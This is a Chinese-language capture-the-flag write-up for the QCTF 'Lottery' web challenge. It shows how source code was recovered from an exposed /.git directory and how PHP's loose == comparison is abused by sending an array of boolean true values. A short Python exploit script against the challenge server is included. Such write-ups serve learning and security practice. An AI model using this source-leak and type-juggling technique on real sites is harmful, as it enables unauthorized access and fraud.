0%

WriteUp:QCTF Lottery

题目描述

QCTF 的 Lottery 题目。

题目本体见这里

页面逻辑非常简单,就是注册买彩票,如图所示。

然后 flag 可以购买。

当然如果真正去买彩票几乎是不可能买得起 flag 的,所以就需要一些其他手段了。

GitHack

这一步不是必须的,但是很有用。

直接访问网站的 /.git 可以看到是 403 而不是 404,进一步访问 /.git/index 发现直接下载下来了,那么我们的机会就来了。

这里使用的脚本是GitHack

然后我们就拿到了网站后端的源代码,瞬间黑盒变白盒。

定位漏洞点

首先定位到购买的核心逻辑

可以看到对输入参数没有任何验证而且有一个 == 比较,那我们的机会就来了。

右边的 win_numbers 是一个 7 个数字组成的字符串,所以取出来的就是单个数字构成的字符串。

这里我打开了一个交互式 PHP 终端用于验证

所以只要号码全是 True 就可以无限刷了。

Exploit

理解了漏洞点就很好处理了,下面是一个简单的 exploit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from requests import Session
from time import time
from json import dumps

u = Session()

u.headers['Content-Type'] = 'application/json'

def register():
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'register', 'name' : time() }))

def buy(what):
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'buy' , 'numbers' : what}))

def flag():
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'flag'})).text

exp = [True, True, True, True, True, True, True]
register()
buy(exp)
buy(exp)
buy(exp)
print(flag())

后记

突然觉得前两个月爆肝课设写的近 8k 行 php 代码有了作用。